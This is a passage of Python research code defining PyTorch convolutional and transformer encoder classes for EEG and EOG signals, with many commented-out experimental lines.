def __init__(self, dec, transformer_type):
super().__init__()
# self.maxpool = nn.MaxPool2d(kernel_size=(1, 4))
# self.pos1 = PositionalEncoder(d_model=dmodel*8, same_time_step=7)
dmodel = 32 * dec
self.conv = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(1, dmodel, kernel_size=(2, 5), stride=(1, 2), bias=False),
# nn.ReLU(),
)
self.interm_conv_0 = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(dmodel, dmodel, kernel_size=(1, 5), stride=(1, 2), bias=False),
# nn.ReLU(),
)
self.interm_conv_1 = nn.Sequential(
nn.ReflectionPad2d((1, 2, 0, 0)),
nn.Conv2d(dmodel, dmodel, kernel_size=(1, 5), stride=(1, 2), bias=False),
# nn.ReLU(),
)
# self.latent = nn.Parameter(torch.randn(16, 8, dmodel))
# self.cls_token = nn.Parameter(torch.randn(1, dmodel,1, 1))
# self.cls_token = torch.cat([self.cls_token]*22, dim=0)
self.pos = PositionalEncoder(d_model=dmodel, same_time_step=8)
transformer_type = globals()[transformer_type]
self.att1 = transformer_type(dmodel, 1)
self.att2 = transformer_type(dmodel, 1)
self.att3 = transformer_type(dmodel, 1)
self.att4 = transformer_type(64*5, 1)
self.att5 = transformer_type(64*5, 1)
self.att6 = transformer_type(64*5, 1)
self.avg = nn.AvgPool2d(kernel_size=(1, 75))
def forward(self,x):
x_shape = x[0].shape
if len(x_shape)>4:
for i in range(len(x)):
x[i] = x[i].flatten(start_dim=0, end_dim=1)
x = self.conv(x[0])
x_inshape = x.shape
x = self.pos(x.flatten(start_dim=2).permute(0,2,1)).permute(0,2,1).view(x_inshape)
# print(x.shape)
x = self.att1(x)
x = self.interm_conv_0(x)
x = self.att2(x)
x = self.interm_conv_1(x)
x = self.att3(x)
x = self.avg(x)
x = x.view(x_shape[0],x.shape[1]*x.shape[2]*x.shape[3], 1, x_shape[1])
x = self.att4(x)
x = self.att5(x)
x = self.att6(x).permute(0,3,2,1)
x = x.flatten(start_dim=0, end_dim = 1)
return x
class EEG_Encoder_Ch_all(nn.Module):
def __init__(self, dec):
super().__init__()
self.pad_1 = nn.ReflectionPad1d(2)
self.conv1 = nn.Conv1d(1, 64*dec, kernel_size=5, stride=1)
self.conv2 = nn.Conv1d(64*dec, 128*dec, kernel_size=1, stride=1)
self.conv3 = nn.Conv1d(128*dec, 128*dec, kernel_size=3, stride=1)
self.conv4 = nn.Conv1d(128*dec, 64*dec, kernel_size=1, stride=1)
self.conv5 = nn.Conv1d(64*dec, 32*dec, kernel_size=3, stride=1)
self.conv6 = nn.Conv1d(32*dec, 16*dec, kernel_size=1, stride=1)
self.pad_2 = nn.ReflectionPad1d(1)
# self.pad_2 = nn.ZeroPad2d((2,2,0,0))
# self.conv2 = nn.Conv1d(10*dec, 20*dec, kernel_size=5, stride=1)
self.maxpool_time = nn.MaxPool1d(4)
self.avg_pool = nn.AvgPool1d(14)
self.relu = torch.nn.ReLU()
self.conv1_bn = nn.BatchNorm1d(1)
self.conv2_bn = nn.BatchNorm1d(10*dec)
# self.alpha = nn.Parameter(torch.randn(10*dec, 4),requires_grad=True)
# self.softmax = nn.Softmax(dim=1)
def forward(self,x):
x = self.relu(self.conv1(self.pad_1(x)))
x = self.relu(self.conv2(x))
x = self.maxpool_time(x)
x= self.relu(self.conv3(self.pad_2(x)))
x = self.relu(self.conv4(x))
x = self.maxpool_time(x)
x = self.relu(self.conv5(self.pad_2(x)))
x = self.relu(self.conv6(x))
x = self.avg_pool(x)
# x = self.maxpool_time(x)
return x
class EEG_Shuffle_channels(nn.Module):
def __init__(self, dec):
super().__init__()
# self.maxpool = nn.MaxPool2d(kernel_size=(1, 4))
# self.pos1 = PositionalEncoder(d_model=dmodel*8, same_time_step=7)
dmodel = 64 * dec
self.conv = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(1, 64 * dec, kernel_size=(1, 5), stride=(1,2), bias=False),
# nn.ReflectionPad2d((2, 2, 1, 0)),
# nn.Conv2d(64 * dec, 128 * dec, kernel_size=(1, 5), stride=(1, 2)),
# nn.ReLU(),
# # nn.MaxPool2d(kernel_size=(1, 2)),
# nn.ReflectionPad2d((2, 2, 0, 0)),
# nn.Conv2d(128 * dec, 16 * dec, kernel_size=(1, 5)),
# nn.ReLU(),
)
# self.interm_conv_0 = nn.Sequential(
# nn.ReflectionPad2d((2, 2, 1, 1)),
# nn.Conv2d(64 * dec, 128 * dec, kernel_size=(2, 5), stride=(1,2)),
# # nn.ReLU(),
# )
# self.interm_conv_1 = nn.Sequential(
# nn.ReflectionPad2d((2, 2, 0, 0)),
# nn.Conv2d(128 * dec, 16 * dec, kernel_size=(2, 5)),
# # nn.ReLU(),
# )
# self.latent = nn.Parameter(torch.randn(16, 8, dmodel))
# self.cls_token = nn.Parameter(torch.randn(1, 8, dmodel))
# self.pos = PositionalEncoder(d_model=dmodel*8)
self.att1 = My_Transformer_Layer_Ch_SmallFF(dmodel)
# self.att1_1 = My_Transformer_Layer(dmodel*450)
self.att2 = My_Transformer_Layer_Ch_SmallFF(dmodel*2)
# self.att2_1 = My_Transformer_Layer(dmodel*2*225)
self.att3 = My_Transformer_Layer_Ch_SmallFF(16 * dec)
# self.att3_1 = My_Transformer_Layer(16 * dec*112)
self.avg = nn.AvgPool2d(kernel_size=(1, 56))
import random
self.rands = random.sample(range(8), 8)
# self.rands = [7,0,1,2,3,4,5,6,7,1]
print("Our random shuffle is:")
print(self.rands)
def _shuffle_channels(self,x):
return x[:,:,self.rands,:]
def cross_attention(self,src):
print(self.latent_space.shape)
print(src.shape)
src2 = self.self_attn(self.latent_space, self.latent_space, src)[0]
src = src + self.dropout1(src2)
src = self.norm1(src)
src2 = self.linear2(self.dropout(self.activation(self.linear1(src))))
src = src + self.dropout2(src2)
src = self.norm2(src)
return src
def s_att(self,src):
src2 = self.s_self_attn(src, src, src)[0]
src = src + self.dropout1(src2)
src = self.s_norm1(src)
src2 = self.s_linear2(self.dropout(self.activation(self.linear1(src))))
src = src + self.dropout2(src2)
src = self.s_norm2(src)
return src
def forward(self, x):
x = self.conv(x)
x_shape = x.shape
# x_shape = x.shape
# x = x.permute(0,3,2,1)
# mm= []
# for i in range(8):
# m = []
# for j in range(8):
# if i!=j:
# tgt = self.multihead_cross_attn(x[:, :, i], x[:, :, j], x[:, :, j])[0]
# tgt = tgt + self.dropout2(x[:, :, i])
# tgt = self.norm2(tgt)
# tgt2 = self.linear2(self.dropout(self.activation(self.linear1(tgt))))
# tgt = tgt + self.dropout3(tgt2)
# tgt = self.norm3(tgt)
# m.append(tgt.unsqueeze(dim=2))
# mm.append(torch.cat(m,dim=2).unsqueeze(dim=3))
# x = torch.cat(mm,dim=3)
# mm = []
# for i in range(8):
# mm.append(self.attention1(self.pos1(x[:,:,:,i].flatten(start_dim=2))).unsqueeze(dim=2))
# x = torch.cat(mm,dim=2)
# m = self.dec_attention1(x[:,:,0],x[:,:,1])
# x = self.perceiver(x)
# print(x.shape)
# m = []
# for i in range(8):
# xi = x[:,:,i].permute(0,2,1)
# x = x.view([x_shape[0],x_shape[3], x_shape[1] * x_shape[2]])
# xi = x.clone()
# l = torch.cat(x_shape[0]*[self.latent.unsqueeze(dim=0)],dim=0)
# for i in range(1):
# print(xi[:,:,i].permute(0,2,1).shape)
# print(l.shape)
# x = self.pos(x.flatten(start_dim=2)).view(x_shape)
x = self.att1(x)#.permute(0,2,1,3)
# x = self.att1_1(x).permute(0,2,1,3).view(x_shape)
# x = self.interm_conv_0(x.permute(0,3,2,1)).permute(0,3,2,1)
# x_shape = x.shape
x = self.att2(x)#.permute(0,2,1,3)
# x = self.att2_1(x).permute(0,2,1,3).view(x_shape)
# x = self.interm_conv_1(x.permute(0,3,2,1)).permute(0,3,2,1)
# x_shape = x.shape
x = self.att3(x)#.permute(0,2,1,3)
# x = self.att3_1(x).permute(0,2,1,3).view(x_shape)
# x_shape = x.shape
# x = self.pos(x.flatten(start_dim=2)).view(x_shape)
# x = self.att1(x)
# x = self.att2(x.flatten(start_dim=2)).permute(0,2,1)
# x = self.attention2(x)
# x = self.norm2(x)
# x = self.ff2(x)
# x = self.normff2(x)
# x = self.attention3(x)
# x = self.norm3(x)
# x = self.ff3(x)
# x = self.normff3(x)
# print(x.shape)
# m.append(k.unsqueeze(dim=2))
# x = x.view([x_shape[0],16,8])
# torch.cat(m,dim=2).permute(0,3,2,1)
# x = x.permute(0,3,2,1).squeeze()
# self.latent_space = nn.Parameter(torch.cat(x.shape[0] * [self.latent_space.unsqueeze(dim=0)],dim=0))
#
# for i in range(8):
# self.latent_space = self.cross_attention(x.squeeze())
# self.latent_space = self.s_att(self.latent_space)
# print(self.latent_space.shape)
# x = x.permute(0,3,1,2).flatten(start_dim=2, end_dim=3)
# x = self.attention1(x)
# # x = x.view(x_shape)
# # x = self.maxpool(x)
# # x_shape = x.shape
# #
# # # x = self.pos2(x)
# # x = self.self_attention2(x.permute(0,3,1,2).flatten(start_dim=2))
x = self.avg(x)
# print(x.shape)
# x = self._shuffle_channels(x)
return x
class EEG_Transformer_SEDF(nn.Module):
def __init__(self, dec, transformer_type):
super().__init__()
# self.maxpool = nn.MaxPool2d(kernel_size=(1, 4))
# self.pos1 = PositionalEncoder(d_model=dmodel*8, same_time_step=7)
dmodel = 32 * dec
self.conv_eeg = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(1, dmodel, kernel_size=(2, 5), stride=(1,2), bias=False),
# nn.ReLU(),
)
self.conv_eog = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(1, dmodel, kernel_size=(1, 5), stride=(1,2), bias=False),
# nn.ReLU(),
)
self.interm_conv_0 = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(dmodel, dmodel*2, kernel_size=(1, 5), stride=(1,2), bias=False),
# nn.ReLU(),
)
self.interm_conv_1 = nn.Sequential(
nn.ReflectionPad2d((1, 2, 0, 0)),
nn.Conv2d(dmodel*2, 32, kernel_size=(1, 5), stride=(1,2), bias=False),
# nn.ReLU(),
)
# self.latent = nn.Parameter(torch.randn(16, 8, dmodel))
# self.cls_token = nn.Parameter(torch.randn(1, 8, dmodel))
self.pos = PositionalEncoder(d_model=dmodel, same_time_step=8)
transformer_type = globals()[transformer_type]
self.att1 = transformer_type(dmodel, 2)
# self.att1_1 = My_Transformer_Layer(dmodel*450)
self.att2 = transformer_type(dmodel*2, 2)
# self.att2_1 = My_Transformer_Layer(dmodel*2*225)
self.att3 = transformer_type(32, 2)
self.att4 = transformer_type(1024, 1)
self.att5 = transformer_type(1024, 1)
self.att6 = transformer_type(1024, 1)
# self.att3_1 = My_Transformer_Layer(16 * dec*112)
self.avg = nn.AvgPool2d(kernel_size=(1, 23))
def forward(self, x):
x_shape = x[0].shape
flag_seqtoseq = False
if len(x_shape)>4:
flag_seqtoseq = True
for i in range(len(x)):
x[i] = x[i].flatten(start_dim=0, end_dim=1)
xeeg = self.conv_eeg(x[0])
xeog = self.conv_eog(x[1])
x = torch.cat([xeeg, xeog], dim=2)
x_inshape = x.shape
x = self.pos(x.flatten(start_dim=2).permute(0,2,1)).permute(0,2,1).view(x_inshape)
# print(x.shape)
x = self.att1(x)
# x = self.att1_1(x)
x = self.interm_conv_0(x)
# x_shape = x.shape
x = self.att2(x)
# x = self.att2_1(x)
x = self.interm_conv_1(x)
# x_shape = x.shape
x = self.att3(x)
# x = self.att3_1(x)
x = self.avg(x)
if flag_seqtoseq:
x = x.view(x_shape[0],x_shape[1],1,-1).permute(0,3,2,1)
x = self.att4(x)
x = self.att5(x)
x = self.att6(x)
x = x.permute(0,3,2,1).flatten(start_dim=0,end_dim=1)
return x
class EEG_Transformer(nn.Module):
def __init__(self, dec, transformer_type):
super().__init__()
# self.maxpool = nn.MaxPool2d(kernel_size=(1, 4))
# self.pos1 = PositionalEncoder(d_model=dmodel*8, same_time_step=7)
dmodel = 32 * dec
self.conv = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(1, dmodel, kernel_size=(1, 5), stride=(1,2), bias=False),
# nn.ReLU(),
)
self.interm_conv_0 = nn.Sequential(
nn.ReflectionPad2d((2, 2, 1, 1)),
nn.Conv2d(dmodel, dmodel*2, kernel_size=(2, 5), stride=(1,2), bias=False),
# nn.ReLU(),
)
self.interm_conv_1 = nn.Sequential(
nn.ReflectionPad2d((1, 2, 0, 0)),
nn.Conv2d(dmodel*2, 32, kernel_size=(2, 5), stride=(1,2), bias=False),
# nn.ReLU(),
)
# self.latent = nn.Parameter(torch.randn(16, 8, dmodel))
# self.cls_token = nn.Parameter(torch.randn(1, 8, dmodel))
self.pos = PositionalEncoder(d_model=dmodel, same_time_step=8)
transformer_type = globals()[transformer_type]
self.att1 = transformer_type(dmodel)
# self.att1_1 = My_Transformer_Layer(dmodel*450)
self.att2 = transformer_type(dmodel*2, 3)
# self.att2_1 = My_Transformer_Layer(dmodel*2*225)
self.att3 = transformer_type(32)
# self.att3_1 = My_Transformer_Layer(16 * dec*112)
self.avg = nn.AvgPool2d(kernel_size=(1, 23))
def forward(self, x):
x = self.conv(x)
x_shape = x.shape
x = self.pos(x.flatten(start_dim=2).permute(0,2,1)).permute(0,2,1).view(x_shape)
# print(x.shape)
x = self.att1(x)
# x = self.att1_1(x)
x = self.interm_conv_0(x)
# x_shape = x.shape
x = self.att2(x)
# x = self.att2_1(x)
x = self.interm_conv_1(x)
# x_shape = x.shape
x = self.att3(x)
# x = self.att3_1(x)
x = self.avg(x)
return x
class EEG_Transformer1(nn.Module):
def __init__(self, dec, transformer_type):
super().__init__()
# self.maxpool = nn.MaxPool2d(kernel_size=(1, 4))
# self.pos1 = PositionalEncoder(d_model=dmodel*8, same_time_step=7)
dmodel = 32 * dec
self.conv = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(1, dmodel, kernel_size=(1, 5), stride=(1,2), bias=False),
# nn.ReLU(),
)
# self.interm_conv_0 = nn.Sequential(
# nn.ReflectionPad2d((2, 2, 1, 1)),
# nn.Conv2d(dmodel, dmodel*2, kernel_size=(2, 5), stride=(1,2), bias=False),
# # nn.ReLU(),
# )
# self.interm_conv_1 = nn.Sequential(
# nn.ReflectionPad2d((1, 2, 0, 0)),
# nn.Conv2d(dmodel*2, 32, kernel_size=(2, 5), stride=(1,2), bias=False),
# # nn.ReLU(),
# )
# self.latent = nn.Parameter(torch.randn(16, 8, dmodel))
# self.cls_token = nn.Parameter(torch.randn(1, 8, dmodel))
self.pos = PositionalEncoder(d_model=dmodel, same_time_step=8)
transformer_type = globals()[transformer_type]
self.att1 = transformer_type(dmodel)
# self.att1_1 = My_Transformer_Layer(dmodel*450)
self.att2 = transformer_type(dmodel)
# self.att2_1 = My_Transformer_Layer(dmodel*2*225)
self.att3 = transformer_type(dmodel)
# self.att3_1 = My_Transformer_Layer(16 * dec*112)
self.avg = nn.AvgPool2d(kernel_size=(1, 28*8))
def forward(self, x):
x = self.conv(x)
x_shape = x.shape
x = self.pos(x.flatten(start_dim=2).permute(0,2,1)).permute(0,2,1).view(x_shape)
x = self.att1(x)
# x = self.att1_1(x)
# x = self.interm_conv_0(x)
# x_shape = x.shape
x = self.att2(x)
# x = self.att2_1(x)
# x = self.interm_conv_1(x)
# x_shape = x.shape
x = self.att3(x)
# x = self.att3_1(x)
x = self.avg(x)
return x
class EEG_Transformer2(nn.Module):
def __init__(self, dec, transformer_type):
super().__init__()
# self.maxpool = nn.MaxPool2d(kernel_size=(1, 4))
# self.pos1 = PositionalEncoder(d_model=dmodel*8, same_time_step=7)
dmodel = 32 * dec
self.conv = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(1, dmodel, kernel_size=(1, 5), stride=(1,2), bias=False),
# nn.ReLU(),
)
self.interm_conv_0 = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(dmodel, 32, kernel_size=(1, 5), stride=(1,2), bias=False),
# nn.ReLU(),
)
# self.interm_conv_1 = nn.Sequential(
# nn.ReflectionPad2d((1, 2, 0, 0)),
# nn.Conv2d(dmodel*2, 32, kernel_size=(2, 5), stride=(1,2), bias=False),
# # nn.ReLU(),
# )
# self.latent = nn.Parameter(torch.randn(16, 8, dmodel))
# self.cls_token = nn.Parameter(torch.randn(1, 8, dmodel))
self.pos = PositionalEncoder(d_model=dmodel, same_time_step=8)
transformer_type = globals()[transformer_type]
self.att1 = transformer_type(dmodel)
# self.att1_1 = My_Transformer_Layer(dmodel*450)
self.att2 = transformer_type(32)
# self.att2_1 = My_Transformer_Layer(dmodel*2*225)
self.att3 = transformer_type(32)
# self.att3_1 = My_Transformer_Layer(16 * dec*112)
self.avg = nn.AvgPool2d(kernel_size=(1, 28*2))
def forward(self, x):
x = self.conv(x)
x_shape = x.shape
x = self.pos(x.flatten(start_dim=2).permute(0,2,1)).permute(0,2,1).view(x_shape)
x = self.att1(x)
# x = self.att1_1(x)
x = self.interm_conv_0(x)
# x_shape = x.shape
x = self.att2(x)
# x = self.att2_1(x)
# x = self.interm_conv_1(x)
# x_shape = x.shape
x = self.att3(x)
# x = self.att3_1(x)
x = self.avg(x)
return x
class EEG_Transformer3(nn.Module):
def __init__(self, dec, transformer_type):
super().__init__()
# self.maxpool = nn.MaxPool2d(kernel_size=(1, 4))
# self.pos1 = PositionalEncoder(d_model=dmodel*8, same_time_step=7)
dmodel = 32 * dec
self.conv = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(1, dmodel, kernel_size=(1, 5), stride=(1,2), bias=False),
# nn.ReLU(),
)
self.interm_conv_0 = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(dmodel, dmodel*2, kernel_size=(1, 5), stride=(1,2), bias=False),
# nn.ReLU(),
)
self.interm_conv_1 = nn.Sequential(
nn.ReflectionPad2d((1, 2, 0, 0)),
nn.Conv2d(dmodel*2, 32, kernel_size=(1, 5), stride=(1,2), bias=False),
# nn.ReLU(),
)
# self.latent = nn.Parameter(torch.randn(16, 8, dmodel))
# self.cls_token = nn.Parameter(torch.randn(1, 8, dmodel))
self.pos = PositionalEncoder(d_model=dmodel, same_time_step=8)
transformer_type = globals()[transformer_type]
self.att1 = transformer_type(dmodel)
# self.att1_1 = My_Transformer_Layer(dmodel*450)
self.att2 = transformer_type(dmodel*2)
# self.att2_1 = My_Transformer_Layer(dmodel*2*225)
self.att3 = transformer_type(32)
# self.att3_1 = My_Transformer_Layer(16 * dec*112)
self.avg = nn.AvgPool2d(kernel_size=(1, 28))
def forward(self, x):
x = self.conv(x)
x_shape = x.shape
x = self.pos(x.flatten(start_dim=2).permute(0,2,1)).permute(0,2,1).view(x_shape)
x = self.att1(x)
# x = self.att1_1(x)
x = self.interm_conv_0(x)
# x_shape = x.shape
x = self.att2(x)
# x = self.att2_1(x)
x = self.interm_conv_1(x)
# x_shape = x.shape
x = self.att3(x)
# x = self.att3_1(x)
x = self.avg(x)
return x
class EEG_Encoder_best_2d(nn.Module):
def __init__(self, dec, _):
super().__init__()
self.conv = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(1, 64 * dec, kernel_size=(1, 5), stride=(1, 1)),
nn.ReLU(),
nn.MaxPool2d(kernel_size=(1, 2)),
nn.ReflectionPad2d((2, 2, 1, 1)),
nn.Conv2d(64 * dec, 128 * dec, kernel_size=(2, 5), stride=(1, 1)),
nn.ReLU(),
nn.MaxPool2d(kernel_size=(1, 2)),
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(128 * dec, 16 * dec, kernel_size=(2, 5), stride=(1, 1)),
nn.ReLU(),
nn.AvgPool2d((1, 46)) #56
)
# import random
# self.rands = random.sample(range(8), 8)
def forward(self, x):
# temp1 = copy.deepcopy(x[:,:,1,:])
# temp3 = copy.deepcopy(x[:,:,3,:])
# x[:, :, 1, :] = x[:,:,4,:]
# x[:, :, 3, :] = x[:,:,6,:]
# x[:, :, 4, :] = temp1
# x[:, :, 6, :] = temp3
return self.conv(x)
class EEG_Encoder_best_SEDF_1(nn.Module):
def __init__(self, dec, _):
super().__init__()
size = 64
self.conv_0_eeg = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(1, size * dec, kernel_size=(2, 5), stride=(1, 1)),
nn.ReLU(),
nn.MaxPool2d(kernel_size=(1, 2)),
)
self.conv_0_eog = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(1, size * dec, kernel_size=(2, 5), stride=(1, 1)),
nn.ReLU(),
nn.MaxPool2d(kernel_size=(1, 2)),
)
self.conv_1_eeg = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(size * dec, size * dec, kernel_size=(2, 5), stride=(1, 1)),
nn.ReLU(),
nn.MaxPool2d(kernel_size=(1, 2)),
)
self.conv_1_eog = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(size * dec, size * dec, kernel_size=(2, 5), stride=(1, 1)),
nn.ReLU(),
nn.MaxPool2d(kernel_size=(1, 2)),
)
self.conv_2_eeg = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d( size * dec, size * dec, kernel_size=(3, 5), stride=(1, 1)),
nn.ReLU(),
nn.MaxPool2d(kernel_size=(1, 2)),
)
self.conv_2_eog = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d( size * dec, size * dec, kernel_size=(2, 5), stride=(1, 1)),
nn.ReLU(),
nn.MaxPool2d(kernel_size=(1, 2)),
)
self.conv_0 = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d( 1, 1, kernel_size=(3, 5), stride=(1, 1)),
nn.ReLU(),
)
self.conv_1 = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(size * dec, size * dec, kernel_size=(3, 5), stride=(1, 1)),
nn.ReLU(),
)
self.conv_2 = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(size * dec, size * dec, kernel_size=(3, 5), stride=(1, 1)),
nn.ReLU(),
)
self.conv_3 = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(size * dec, size * dec, kernel_size=(1, 5), stride=(1, 1)),
nn.ReLU(),
)
self.avg = nn.AvgPool2d((1,187))
def forward(self, x):
x_shape = x[0].shape
flag_seqtoseq = False
if len(x_shape)>4:
flag_seqtoseq = True
for i in range(len(x)):
x[i] = x[i].flatten(start_dim=0, end_dim=1)
xeeg = x[0]
xeog = x[1]
x = self.conv_0(torch.cat([xeeg, xeog], dim=2))
xeeg = self.conv_0_eeg(torch.cat([xeeg[:,:,0,:].unsqueeze(dim=2), x, xeeg[:,:,1,:].unsqueeze(dim=2)], dim=2))
xeog = self.conv_0_eog(torch.cat([xeog, x], dim=2))
x = self.conv_1(torch.cat([xeeg, xeog], dim=2))
xeeg = self.conv_1_eeg(torch.cat([xeeg[:,:,0,:].unsqueeze(dim=2), x, xeeg[:,:,1,:].unsqueeze(dim=2)], dim=2))
xeog = self.conv_1_eog(torch.cat([xeog, x], dim=2))
x = self.conv_2(torch.cat([xeeg, xeog], dim=2))
xeeg = self.conv_2_eeg(torch.cat([xeeg[:, :, 0, :].unsqueeze(dim=2), x, xeeg[:, :, 1, :].unsqueeze(dim=2)], dim=2))
xeog = self.conv_2_eog(torch.cat([xeog, x], dim=2))
x = self.conv_3(torch.cat([xeeg, xeog], dim=2))
x = torch.cat([xeeg,x,xeog],dim=2)
x = self.avg(x)
if flag_seqtoseq:
x = x.view([x_shape[0], x_shape[1], -1])
else:
x = x.view([x_shape[0],-1])
return x
class EEG_Encoder_best_SEDF_2(nn.Module):
def __init__(self, dec, _):
super().__init__()
size = 64
self.conv_0_eeg = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(1, size * dec, kernel_size=(1, 5), stride=(1, 1)),
nn.ReLU(),
nn.MaxPool2d(kernel_size=(1, 2)),
)
self.conv_0_eog = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(1, size * dec, kernel_size=(1, 5), stride=(1, 1)),
nn.ReLU(),
nn.MaxPool2d(kernel_size=(1, 2)),
)
self.conv_1_eeg = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(size * dec, size * dec, kernel_size=(2, 5), stride=(1, 1)),
nn.ReLU(),
nn.MaxPool2d(kernel_size=(1, 2)),
)
self.conv_1_eog = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(size * dec, size * dec, kernel_size=(2, 5), stride=(1, 1)),
nn.ReLU(),
nn.MaxPool2d(kernel_size=(1, 2)),
)
self.conv_2_eeg = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d( size * dec, size * dec, kernel_size=(3, 5), stride=(1, 1)),
nn.ReLU(),
nn.MaxPool2d(kernel_size=(1, 2)),
)
self.conv_2_eog = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d( size * dec, size * dec, kernel_size=(2, 5), stride=(1, 1)),
nn.ReLU(),
nn.MaxPool2d(kernel_size=(1, 2)),
)
self.conv_1 = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(size * dec, size * dec, kernel_size=(3, 5), stride=(1, 1)),
nn.ReLU(),
)
self.conv_2 = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(size * dec, size * dec, kernel_size=(3, 5), stride=(1, 1)),
nn.ReLU(),
)
self.conv_3 = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(size * dec, size * dec, kernel_size=(1, 5), stride=(1, 1)),
nn.ReLU(),
)
self.avg = nn.AvgPool2d((1,187))
def forward(self, x):
x_shape = x[0].shape
flag_seqtoseq = False
if len(x_shape)>4:
flag_seqtoseq = True
for i in range(len(x)):
x[i] = x[i].flatten(start_dim=0, end_dim=1)
xeeg = x[0]
xeog = x[1]
xeeg = self.conv_0_eeg(xeeg)
xeog = self.conv_0_eog(xeog)
x = self.conv_1(torch.cat([xeeg, xeog], dim=2))
xeeg = self.conv_1_eeg(torch.cat([xeeg[:,:,0,:].unsqueeze(dim=2), x, xeeg[:,:,1,:].unsqueeze(dim=2)], dim=2))
xeog = self.conv_1_eog(torch.cat([xeog, x], dim=2))
x = self.conv_2(torch.cat([xeeg, xeog], dim=2))
xeeg = self.conv_2_eeg(torch.cat([xeeg[:, :, 0, :].unsqueeze(dim=2), x, xeeg[:, :, 1, :].unsqueeze(dim=2)], dim=2))
xeog = self.conv_2_eog(torch.cat([xeog, x], dim=2))
x = self.conv_3(torch.cat([xeeg, xeog], dim=2))
x = torch.cat([xeeg,x,xeog],dim=2)
x = self.avg(x)
if flag_seqtoseq:
x = x.view([x_shape[0], x_shape[1], -1])
else:
x = x.view([x_shape[0],-1])
return x
class EEG_TransferTransformer(nn.Module):
def __init__(self, dec, transformer_type):
super().__init__()
dmodel = 128
# # self.latent = nn.Parameter(torch.randn(16, 8, dmodel))
# # self.cls_token = nn.Parameter(torch.randn(1, 8, dmodel))
# self.pos_inner = PositionalEncoder(d_model=dmodel, same_time_step=1)
# self.pos_inner_mod = PositionalEncoder(d_model=dmodel, same_time_step=1)
# # transformer_type = globals()[transformer_type]
modalities = 1
# enc = nn.TransformerEncoderLayer(dmodel, nhead=8)
# self.inner_att = nn.TransformerEncoder(enc,3)
#
# enc_mod = nn.TransformerEncoderLayer(dmodel, nhead=8)
# self.inner_mod_att = nn.TransformerEncoder(enc_mod,3)
# # self.inner_att = nn.GRU(dmodel,dmodel,num_layers=3)
#
# self.pos_outer = PositionalEncoder(d_model=dmodel*modalities, same_time_step=1)
# enc_outer = nn.TransformerEncoderLayer(dmodel*modalities, nhead=8)
# self.outer_att = nn.TransformerEncoder(enc_outer,3)
# # self.outer_att = nn.GRU(dmodel*modalities,dmodel*modalities,num_layers=3)
# self.avg = nn.AvgPool2d((1,20))
# self.att = Attention(dmodel)
# self.mod_att = Attention(dmodel)
self.tf1 = Multi_Transformer(dmodel, inner= 20, outer = 21, modalities=8, heads=8,
layers = [ "fourier_pos", "inner_mod_att","aggregation_att_contx_inner", "fourier_pos", "outer_att"], num_layers=4, pos = False)
# self.tf2 = Multi_Transformer(dmodel,modalities=1, heads=23, layers=3, pos = True)
# self.tf3 = Multi_Transformer(dmodel,modalities=1, heads=23, layers=3, pos = True)
def forward(self, x):
# x = torch.einsum("ijkmn->ijmkn", x)
x_shape = x.shape
b, outer, inner, modalities = x_shape[0], x_shape[1], x_shape[2], x_shape[3]
# print(x.shape)
x = self.tf1(x)
# x = self.tf2(x)
# x = self.tf3(x)
# x = einops.rearrange(x,"b outer inner mod k->inner (b outer mod) k" )
# w = self.att(x)
# x = torch.einsum("ijk,jmi -> mjk", x, w)
# x = einops.rearrange(x,"inner (b outer mod) k-> outer (b inner mod) k",b=b, outer=outer, mod=modalities)
# x = self.outer_att(x)
# x = einops.rearrange(x,"outer (b mod) k->b outer (mod k)",b=b, mod=modalities )
# x = einops.rearrange(x,"b outer inner mod k->(outer inner mod) b k")
# x = self.outer_att(x)
# x = einops.rearrange(x,"(outer inner mod) b k->b outer (inner mod k)", mod=modalities, inner =inner, outer=outer )
# x_shape = x.shape
# if (len(x_shape)>3):
# x = x.flatten(start_dim=0,end_dim=2)
